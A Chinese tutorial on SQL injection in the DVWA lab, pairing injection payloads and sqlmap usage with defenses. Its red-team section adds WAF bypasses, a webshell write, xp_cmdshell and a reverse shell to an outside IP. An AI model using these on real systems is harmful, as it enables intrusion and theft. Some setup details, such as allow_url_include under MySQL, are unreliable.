1. DVWA靶场与SQL注入基础认知
DVWA(Damn Vulnerable Web Application)是一个专为安全测试设计的漏洞演练平台,它模拟了常见的Web应用漏洞场景。其中SQL注入模块是最具代表性的漏洞类型之一,通过这个靶场我们可以完整掌握从基础探测到高级利用的全套技术链。
SQL注入的本质是攻击者通过构造特殊输入,改变后端数据库查询语句的原始逻辑。当应用程序未对用户输入进行充分过滤时,攻击者就能执行非预期的SQL命令。比如原本的登录查询语句:
SELECT * FROM users WHERE username='$input_user' AND password='$input_pass'如果输入admin'--作为用户名,查询就变成了:
SELECT * FROM users WHERE username='admin'-- ' AND password=''这里的--是SQL注释符,使得密码验证被绕过。这种基础注入手法在DVWA的Low安全级别中就能直接观察到。
2. DVWA环境准备与配置要点
2.1 靶场部署注意事项
在Kali Linux中部署DVWA时,常见问题集中在环境依赖上。需要特别注意:
- PHP版本需5.3-7.x(不兼容8.0+)
- MySQL配置中需开启
allow_url_include - 修改config.inc.php中的数据库凭证时,建议使用如下测试配置:
$_DVWA['db_user'] = 'dvwa'; $_DVWA['db_password'] = 'p@ssw0rd'; $_DVWA['db_database'] = 'dvwa';重要提示:部署完成后务必在Security Level设置中将难度调整为Low,初始默认设置为Impossible会导致无法演示基础漏洞。
2.2 安全等级差异解析
DVWA提供四个安全级别,其防御机制对比:
| 安全级别 | 防护措施 | 典型过滤方式 |
|---|---|---|
| Low | 无防护 | 原始输入直接拼接SQL |
| Medium | 基础过滤 | mysql_real_escape_string() |
| High | 强化防御 | 预编译语句+输入限制 |
| Impossible | 完全防护 | PDO预处理+Token验证 |
3. SQL注入实战全流程解析
3.1 基础注入探测手法
在Low级别下,典型的探测流程:
- 输入单引号测试:
'观察是否报错 - 确定字段数:
1' order by X--(X从1递增直到报错) - 联合查询定位:
-1' union select 1,2-- - 获取数据库信息:
-1' union select 1,database()--
关键技巧:当页面没有明显回显时,可以使用concat()函数将多个信息合并显示:
-1' union select 1,concat(user(),':',database(),':',version())--3.2 中级难度突破要点
Medium级别主要变化在于:
- 输入从GET变为POST请求
- 使用了
mysql_real_escape_string()过滤 - 数字型注入需去掉引号
有效Payload示例:
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--特殊技巧:当空格被过滤时,可用/**/替代:
1/**/union/**/select/**/1,2--+3.3 高级难度绕过方案
High级别的核心挑战在于:
- 输入被限制在单行
- 需要添加
LIMIT 1子句 - 使用预编译语句但实现有缺陷
创新性Payload构造:
-1' UNION SELECT 1,concat(login,':',password) FROM users LIMIT 1,1--4. 自动化工具实战应用
4.1 SQLmap基础扫描
针对DVWA的典型扫描命令:
sqlmap -u "http://靶场地址/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="security=low; PHPSESSID=xxx" \ --batch --dbs关键参数说明:
--level=3:提高检测级别--risk=3:启用危险检测--os-shell:尝试获取系统shell
4.2 手工与工具结合技巧
当遇到WAF拦截时,可采用:
- 延时注入:
--delay=1 - 随机UA:
--random-agent - 代理池:
--proxy=http://IP:PORT
特殊场景处理:
sqlmap --eval="import requests; session=requests.Session(); \ res=session.post('http://靶场地址/login.php', \ data={'username':'admin','password':'password','Login':'Login'}); \ return {'Cookie': res.headers['Set-Cookie']}" \ --url="http://靶场地址/vulnerabilities/sqli/?id=1" \ --technique=T5. 防御方案与代码审计
5.1 安全编码实践
PHP中正确的防御方式对比:
不安全代码:
$query = "SELECT * FROM users WHERE id='$_GET[id]'";安全方案1:预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?"); $stmt->execute([$_GET['id']]);安全方案2:白名单过滤
if(!preg_match('/^[0-9]+$/', $_GET['id'])) { die('Invalid input'); }5.2 企业级防护策略
多层防御体系构建:
- 网络层:WAF规则(如ModSecurity CRS)
- 应用层:输入验证+输出编码
- 数据库层:最小权限原则
- 运维层:SQL审计日志分析
典型WAF规则示例:
<rule id="942100" phase="2"> <description>SQL Injection Attack Detected</description> <conditions> <detect sql="true"/> </conditions> <action>block</action> </rule>6. 靶场通关进阶技巧
6.1 盲注实战方法
当无错误回显时,采用布尔盲注技术:
1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE user='admin')='a'--时间盲注Payload:
1' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(5),0)--6.2 数据库特性利用
MySQL特有函数应用:
1' UNION SELECT 1,load_file('/etc/passwd')--SQL Server差异点:
1; EXEC xp_cmdshell('whoami')--Oracle特殊语法:
1' UNION SELECT 1,(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM dual)--7. 企业级漏洞修复方案
7.1 代码层修复
Java示例(MyBatis):
<!-- 错误用法 --> <select id="getUser" parameterType="String" resultType="User"> SELECT * FROM users WHERE id = ${id} </select> <!-- 正确用法 --> <select id="getUser" parameterType="String" resultType="User"> SELECT * FROM users WHERE id = #{id} </select>7.2 架构层防护
推荐的安全组件:
- 应用防火墙:ModSecurity
- 数据库防火墙:Oracle Database Vault
- RASP防护:OpenRASP
云原生方案:
# Kubernetes NetworkPolicy示例 apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: sql-injection-mitigation spec: podSelector: matchLabels: app: webapp policyTypes: - Ingress ingress: - from: - podSelector: matchLabels: role: frontend ports: - protocol: TCP port: 808. 红队实战经验分享
8.1 绕过WAF的奇技淫巧
非常规绕过手法:
- 注释混淆:
SEL/*xxx*/ECT - 大小写变异:
UnIoN SeLeCt - 等价函数替换:
CONCAT→CONCAT_WS - 编码转换:十六进制/URL编码
实际案例:
1' UNI/**/ON SEL%65CT 1,@@version--8.2 权限维持技术
获取系统权限后的操作:
- UDF提权:
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so' - 写webshell:
SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php' - 建立隧道:
mysql -h target.com -u root -p -e '\! bash -i >& /dev/tcp/1.1.1.1/4444 0>&1'
防御检测方法:
# 检查可疑UDF SELECT * FROM mysql.func; # 监控文件写入 auditctl -w /var/www/ -p wa -k web_content